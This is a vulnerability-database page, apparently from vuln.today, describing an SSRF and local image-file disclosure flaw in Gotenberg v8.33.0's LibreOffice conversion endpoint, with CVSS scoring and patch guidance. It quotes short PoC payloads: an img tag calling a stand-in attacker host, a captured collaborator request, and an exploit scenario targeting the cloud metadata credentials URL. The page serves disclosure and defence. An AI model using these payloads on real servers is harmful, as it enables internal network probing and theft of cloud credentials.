Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Network-reachable default endpoint, no auth or UI, but blind SSRF with image-only local read yields limited confidentiality impact, so C:L rather than C:H.
Primary rating from Vendor (https://github.com/gotenberg/gotenberg).
CVSS VectorVendor: https://github.com/gotenberg/gotenberg
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Lifecycle Timeline
3DescriptionCVE.org
Summary
Server-Side Request Forgery (SSRF) vulnerability affecting the /forms/libreoffice/convert endpoint in Gotenberg v8.33.0 running with the default configuration.
By uploading a specially crafted DOCX document, an attacker can cause LibreOffice to automatically retrieve external resources during document conversion. As a result, outbound requests are made from the server hosting Gotenberg to attacker-controlled destinations.
Additionally, the same document mechanism appears capable of referencing image resources from the local filesystem. During conversion, LibreOffice attempts to load those resources and embed them into the resulting document.
PoC
External Resource Retrieval
Create a DOCX document containing the following content:
<img src="http://[ATTACKER_HOST]:[PORT]/path?query=somedata">
Upload the document to the /forms/libreoffice/convert endpoint.
During document processing, LibreOffice automatically retrieves the referenced external resource.
An outbound request can be observed on Burp Collaborator:
GET /secretendpoint?query=hacked HTTP/1.1
Host: gotenbergssrf.3cguefu7x55rg8z13mzu08i45vbmzcn1.oastify.com
User-Agent: LibreOffice 26.2.3.2 denylistedbackend/8.20.0 OpenSSL/3.5.6
Accept: */*
Accept-Encoding: deflate, gzip, br, zstdLocal Resource Retrieval
Create a DOCX document containing the following content:
<img src="/path/to/image.png">
Upload the document to the /forms/libreoffice/convert endpoint.
During document conversion, LibreOffice loads the referenced image from the local filesystem and embeds it into the generated output document.
Result in output document (used payload - <img src="/usr/share/pixmaps/debian-logo.png">):
<img width="1346" height="397" alt="result" src="https://github.com/user-attachments/assets/52e18316-6654-4341-82e8-14df6c1d7d5e" />
Impact
The identified vulnerability enables two primary attack vectors:
Blind SSRF: The conversion service allows arbitrary outbound HTTP(S) requests during document processing. Although response bodies are not returned to the user, this can be leveraged for internal network discovery and interaction with services accessible only from the internal network or relying on network-level trust assumptions.
Local File Disclosure via Image Resource Loading: The conversion engine allows local filesystem resources to be accessed during document rendering when referenced as image sources in the uploaded document. By specifying local file paths in image tags, LibreOffice resolves and embeds the referenced image content into the generated output document. This behavior is limited to resources loadable as images during document conversion, rather than general file read primitives, but may still allow retrieval of sensitive files accessible to the LibreOffice process.
Notes
The issue was reproduced on Gotenberg v8.33.0 under the default configuration.
Given the impact of arbitrary outbound HTTP(S) requests (SSRF) and limited local filesystem resource disclosure via image resource loading during document conversion, this issue may warrant a CVE assignment.
AnalysisAI
Server-side request forgery in Gotenberg v8.33.0 and earlier allows remote unauthenticated attackers to coerce the server into making arbitrary outbound HTTP(S) requests and to disclose local image files by uploading a crafted DOCX to the /forms/libreoffice/convert endpoint. The flaw stems from LibreOffice automatically resolving external and local resources referenced in <img> tags during conversion, exposing internal networks and on-disk image files. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Gotenberg must be deployed with the /forms/libreoffice/convert endpoint reachable by the attacker and running the default configuration on a vulnerable version (≤ v8.33.0); no authentication, user interaction, or non-default settings are required because the LibreOffice conversion pipeline is enabled out of the box. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The CVSS 3.1 vector AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N (7.5 High) accurately reflects unauthenticated network-reachable exploitation with confidentiality impact only, matching the blind SSRF and local image-disclosure primitives described. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker with network reach to the Gotenberg API uploads a DOCX containing <img src="http://169.254.169.254/latest/meta-data/iam/security-credentials/"> (or an internal admin URL) to /forms/libreoffice/convert; LibreOffice issues the request from inside the trust boundary, enabling internal port scanning, interaction with metadata services, and out-of-band data exfiltration via attacker-controlled DNS/HTTP collaborators. Publicly available exploit code exists in the GHSA advisory PoC, lowering the bar to weaponization. |
| Remediation | Vendor-released patch: Gotenberg 8.34.0 - upgrade per advisory GHSA-2mrg-35hw-x3x9 (https://github.com/gotenberg/gotenberg/security/advisories/GHSA-2mrg-35hw-x3x9). … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
Within 24 hours: Identify all Gotenberg deployments and document current versions; implement network-level outbound restrictions from Gotenberg instances to block internal reconnaissance; enable audit logging for all document uploads and outbound connections. …
Sign in for detailed remediation steps and compensating controls.
Threat intelligence, references, and detailed analysis are available after sign-in.
The (1) TLS and (2) DTLS implementations in OpenSSL 1.0.1 before 1.0.1g do not properly handle Heartbeat Extension packe
The dtls1_reassemble_fragment function in d1_both.c in OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
The SSLv2 protocol, as used in OpenSSL before 1.0.1s and 1.0.2 before 1.0.2g and other products, requires a server to se
The ssl3_get_key_exchange function in s3_clnt.c in OpenSSL before 0.9.8zd, 1.0.0 before 1.0.0p, and 1.0.1 before 1.0.1k
The SSL protocol 3.0, as used in OpenSSL through 1.0.1i and other products, uses nondeterministic CBC padding, which mak
The AES-NI implementation in OpenSSL before 1.0.1t and 1.0.2 before 1.0.2h does not consider memory allocation during a
The X509_verify_cert function in crypto/x509/x509_vfy.c in OpenSSL 1.0.1n, 1.0.1o, 1.0.2b, and 1.0.2c does not properly
A buffer overrun can be triggered in X.509 certificate verification, specifically in name constraint checking. Rated hig
The ssl3_send_client_key_exchange function in s3_clnt.c in OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before
In OpenSSL 1.1.0 before 1.1.0d, if a malicious server supplies bad parameters for a DHE or ECDHE key exchange then this
A denial of service flaw was found in OpenSSL 0.9.8, 1.0.1, 1.0.2 through 1.0.2h, and 1.1.0 in the way the TLS/SSL proto
Same weakness CWE-918 – Server-Side Request Forgery (SSRF)
View allShare
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-43029
GHSA-2mrg-35hw-x3x9